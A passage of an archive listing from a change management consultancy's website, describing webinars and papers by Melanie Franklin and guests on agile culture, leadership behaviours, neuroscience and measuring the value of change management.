share our views on how to get the message over and engage people in change. Download the paper for a full summary of the outcomes. To join the continuous change community click here --- ### Creating the culture for Agile - Published: 2022-04-28 - Modified: 2022-10-18 - URL: https://agilechangemanagement.co.uk/event/creating-the-culture-for-agile/ - Event Categories: Download paper, Virtual event Feedback from many webinars, surveys and research into the adoption of agile practices clearly tells us that culture is the main blocker. In this webinar, Melanie will give us a master-class in how to define and adopt a shift in the culture of our organisations to make space for a more agile approach to our projects, programmes and change initiatives. She will take us through the elements of corporate culture, and explain the behavioural change lifecycle we can share with us to help us all adopt the beliefs, values and attitudes that support an agile approach. Melanie will give us a list of key points she makes when engaging senior leaders in the adoption of agile, and will share how she crafts her message to meet their needs. As ever, there will be plenty of opportunity to ask questions and have Melanie give you her suggestions and ideas for how you can apply what she is saying to your situation. --- ### Establishing the value of change management - for all roles > As change professionals we know that what we do has value for the organisation, by enabling tangible change to become fully adopted - Published: 2022-04-06 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/establishing-the-value-of-change-management-for-all-roles/ - Event Categories: Download paper As change professionals we know that what we do has value for the organisation, helping to achieve earlier and potentially higher return on investment by enabling tangible change to become fully adopted new ways of working. But if you are a Line Manager, Team Leader, Supervisor or staff member impacted by change, do you know the value of change management. As change management becomes democratised, with the bulk of business readiness/change management activities being carried out by those closest to the impact of the change, does this wider group of change practitioners know its value? Let’s come together at this session, and define the value proposition for these roles increasing their enthusiasm and willingness to engage with us and take on their additional responsibilities for making change happen. Download the paper for a full summary of the outcomes. To join the continuous change community click here --- ### Neuroscience for Change Management - Published: 2022-03-11 - Modified: 2024-06-28 - URL: https://agilechangemanagement.co.uk/event/neuroscience-for-change-management-2/ - Event Categories: Download paper, Watch On-Demand Change is stressful, lets not make it worse by working against how our brains want to operate. Know the basics of how our brains work, so that you can reduce resistance, decrease stress and maximise positivity, creativity and engagement. Neuroscience isn’t new, but as technology enables us to track how our brains work in different situations, we can identify ways to apply this understanding in the workplace. Following the success of the last webinar where over 1000 of you attended, Melanie will once again run through the basics of what neuroscience is, how it applies to managing change, the benefits of basing your interventions on neuroscientific principles and shares examples of how you can apply the concepts to your own change initiatives. You can also download Melanie's accompanying paper from this link. --- ### Why is Agile Change a great fit for your work? - Published: 2022-02-17 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/why-is-agile-change-a-great-fit-for-your-work/ Why is Agile Change a great fit for your work? Since the launch of Agile Change Management publication (first edition) in 2014 the demand for courses and workshops in this approach has grown phenomenally. The reason is simple; it provides a common sense, easy to understand, useful approach to any scope and scale of change. Presenter Melanie Franklin (Agile, change and project/programme management expert) will: Describe how Agile Change brings together Agile practices and change management approaches. Demonstrate how the concepts apply to project deliverables and business readiness activities to realise benefits. Share how she explains this value to senior leaders to get their buy-in; and Share examples of how the principals work in practice for the many projects and change initiatives she is involved in. Post your questions in the chat; Melanie hosts an interactive session where she answers your questions as she goes along. There will be a paper to support this webinar, so you will have a record of all the things covered and how you can apply them to your work. --- ### Level Up your Career – How to become a Change Leader - Published: 2022-02-10 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/episode-38-level-up-your-career-how-to-become-a-change-leader/ - Event Categories: Watch On-Demand APMG International presents our popular weekly panel Q&A show. Level Up your Career - How to Become a Change Leader - Episode 38 Host: Nick Houlton, APMG International Question Master: Suchitra Jacob, APMG International Panelists: Brin Hodgskiss, Founder, The Psychology of Stories Nick Vieira, Independent Change and Transformation Leader Sunil Mehta, Managing Director, Quint Consulting Services John Millar, Project Management Assessor and Coach, Leeds City College Melanie Franklin, Director, Agile Change Management Ltd --- ### The Value of Change Management and how to measure it > Following on from our successful January event talking about measuring change we wanted to look at how we apply that to our profession. - Published: 2022-02-03 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/the-value-of-change-management-and-how-to-measure-it/ - Event Categories: Download paper Following on from our successful January event talking about measuring change we wanted to look at how we apply that to our profession. We will be discussing the value of change management and looking at how we can measure that value. Download the paper for a full summary of the outcomes. To join the continuous change community click here --- ### Best Leadership Behaviours for Effective Agile - Published: 2022-01-27 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/bcs-proms-g-event-best-leadership-behaviours-for-effective-agile/ - Event Categories: Download paper, Watch On-Demand Agility is supported by methodologies, processes and techniques but true organisational agility can only be achieved if it is supported by leadership behaviours that normalise, value and encourage the application of agile approaches. This talk will explain and provide examples of these leadership behaviours, discuss why they are so challenging to adopt for many in senior positions and how you can help encourage their adoption. We know that agility is not a methodology or set of processes or techniques. Agility is the behaviours and attitudes that enable the ability to move quickly and easily. They are supported by new ways of working, but these new approaches only work if the environment encourages and rewards there use. Leaders are principal players in creating this environment. Leaders are not restricted to those with hierarchical power within their organisations. A leader is someone who others willingly follow. To be an effective agile leader, there are seven behaviours that support each other, and taken together enable agile processes and techniques to flourish. These behaviours are: Imagining the future state Flexing your vision Identifying small steps Living with uncertainty Decision making Seeking the input of others Relinquishing control If you are in any form of leadership position, this presentation will give you the chance to benchmark your own behaviour against agile excellence and to identify areas for improvement. If you are a project/programme manager, PMO or Product Owner, this will give you lots of ideas of what discuss with your Sponsor. To support your “managing... --- ### Talking with... Melanie Franklin, Agile Change Expert - Published: 2022-01-27 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/talking-with-melanie-franklin-agile-change-expert/ - Event Categories: Watch On-Demand Few things over the last few years have been as certain as change. Companies had to adopt new ways of working, undergo digital transformation, and handle employee stress, all at a time when the business landscape sat on shaky foundations. Business leaders need to know how to manage change in 2022 and beyond, as it certainly won’t stop being a consistent feature of business life. In this episode of Talking with... , Deltra’s Senior Consultant Emma Fowler sat down to discuss these trends, so that change leaders can be prepared for the year ahead. It’s a fascinating conversation for anyone in the change and transformation space. You can listen to the episode Watch On-Demand or keep scrolling to read a summary. Communicating the value of change management Melanie believes that we must do a better job of communicating the value of change management. Leaders know the benefits they want from projects and programmes, but don’t understand that change management acts as a gateway to those benefits. Melanie suggests speaking in simple terms that highlight the power of change management. At its core, change management is a risk management strategy. It reduces the risk that the reputation of the business will be damaged if customers experience issues, and it equally reduces the risk that staff will be overloaded An issue that change managers face is that many don’t diligently collect data to evidence the outcomes they produce. Many change managers are ‘people people’ and like to get ideas of how people... --- ### Getting buy-in for your project and change ideas - Published: 2022-01-13 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/project-challenge-expo-2/ - Event Categories: Download paper Register here for free attendance to join my presentation below. Look forward to seeing you there! Getting buy-in for your project and change ideas Whatever project you are involved in, your success relies on your ability to generate interest, enthusiasm and participation from people who are already busy with their own work. So how can you become a world leading persuader? Melanie will deliver a whistle-stop tour through a range of “neuro-hacks” using how the brain prefers to work to help you generate the engagement of all your stakeholders, and ensure they willingly collaborate with you. She will give you a chance to practice a couple of them, and get you to think how you could apply them with your stakeholders. Melanie will share practical ideas, and she has written a quick guide to influencing and persuading techniques that will be available to everyone at her presentation. She will also be available throughout the day for 20 minute one to one surgery sessions, so if you want one of these sought after spots, email her at melanie@agilechangemanagement. co. uk with a brief description of your challenge/idea you want to discuss. --- ### Top Trends Influencing Agile Change in 2022 - Published: 2021-12-30 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/top-trends-influencing-agile-change-in-2022/ - Event Categories: Download paper, Watch On-Demand Trends from most requested issues from global client base, change management thought leadership groups and previous years trends. The new year always starts with a trends webinar, so why give up your time to listen to this? By understanding the trends shaping change management, you can: 1. Benchmark your knowledge of the key areas for development, ask yourself if you know enough, and use my suggested resources to get up to date if you don’t! 2. Review your work and identify how these trends are going to impact: • What you do • How you do it • Who you do it with 3. Identify new areas you can develop into, and think about how these trends will shape your career. Watch On-Demand - Free Registration From Here --- ### Managing Data Effectively for Behaviour Change > To provide and update or drive decision making? What are the different types of data? How can it be used for driving behaviour change? - Published: 2021-12-30 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/managing-data-effectively-for-behaviour-change/ - Event Categories: Download paper At our next event we have asked Myles Runham to help us start the conversation. He will be asking us to think about: What is data for? To provide and update or drive decision making What are the different types of data? How can it be used for driving behaviour change? Myles brings his experience of using the web for over 20 years to help organisations, including the BBC make the most of data in a digital world. As always, we will be asking you for your ideas and thoughts on the topic. Download the paper for a full summary of the outcomes. To join the continuous change community click here --- ### Introduction to Agile with Melanie Franklin - Published: 2021-11-15 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/introduction-to-agile/ Monday 29th November 2021, 17:50 – 20:00 Agile frameworks and mindsets offer alternative and often better ways to plan and deliver change initiatives. With the pace of change refusing to slow in most areas – and accelerated in many areas thanks to the challenges brought on by the pandemic – practitioners must equip themselves with the latest thinking, methods & tools to thrive. In this session, presenter Melanie Franklin will address frequently asked questions, providing you with easy-to-understand explanations and descriptions that will boost your Agile and Change knowledge, leading to more success with change initiatives. Questions to be addressed include: How does Agile apply to change initiatives? How is this different to any other Agile approach? What are the most relevant agile techniques for successfully embedding change and realising benefits? --- ### Using Data to Achieve Real Alignment for Change > People see things differently. They make assumptions about how things are, then use those as the basis of their decisions and actions. - Published: 2021-11-10 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/webinar-using-data-to-achieve-real-alignment-for-change/ - Event Categories: Download paper People see things differently. They make assumptions about how things are, then use those as the basis of their decisions and actions. In complex, dynamic, and diverse environments this leads to misalignment. It’s inevitable and sits underneath pretty much any problem you can name, undermining performance and causing frustration. Trouble is, because misalignment sits between people, it’s not often visible. And because most people want to avoid conflict, there it sits. We call it ‘The Fog’. In this interactive session, Lindsay Uittenbogaard, founder and CEO of Team Reality Reporting tool, Mirror Mirror will cover: The research around alignment - and why it’s not about everyone agreeing with each other How all this plays into an updated definition of alignment – including cognition and behaviour How Team Reality Reporting identifies and measures alignment gaps between people And how that is the start of an alignment process – with some data and examples in practice Download the paper for a full summary of the outcomes. To join the continuous change community click here --- ### Applying agile change to solve our most common problems - Published: 2021-11-10 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/apmg-webinar-applying-agile-change-to-solve-our-most-common-problems/ - Event Categories: Watch On-Demand Applying agile change to solve our most common problems In this free-to-attend webinar, renowned Agile, PPM & Change Management expert Melanie Franklin provides practical guidance to demonstrate how to overcome: Aligning an agile approach with a waterfall project delivery Not enough available resources from the business to collaborate with Too many other changes taking place at the same time Everything changing around us Melanie uses content from the highly regarded Agile Change Agent course to provide solutions, techniques and actions you can take to tackle these issues in your workplace. --- ### Agile Change – getting everyone to appreciate the benefits of this approach - Published: 2021-09-23 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/lead-change-2021-conference/ Join me on Tuesday 17th November @ 11:25 here at the Lead Change 2021 brought to you by the Change Management Review, where I will be presenting on Agile Change – getting everyone to appreciate the benefits of this approach. --- ### Handling Change when there is no sense of Urgency - Published: 2021-09-23 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/handling-change-when-there-is-no-sense-of-urgency/ - Event Categories: Download paper Coming out of a pandemic is not the same as entering one. Last March was a crisis, we knew we had to work from home, and the media reinforced the change that our organizations needed us to make. There was a country-wide sense of urgency. It led many to think that making change was easy but many of the changes we are making now do not have that sense of urgency, and they are competing with all the other changes taking place. What do we need to lead change when there is no sense of urgency? Or how do we create a felt need for change when one doesn’t exist naturally. Download the paper for a full summary of the outcomes. --- ### How do I apply agile to my project/change initiative? - Published: 2021-09-14 - Modified: 2024-05-07 - URL: https://agilechangemanagement.co.uk/event/project-challenge-expo/ - Event Categories: Download paper If you didn't manage to get to the show you can catch up here - How do I apply agile to my project/change initiative? A detailed paper from my master class held at Project Challenge Autumn 2021 show - thank you to so many of you who came along! --- ---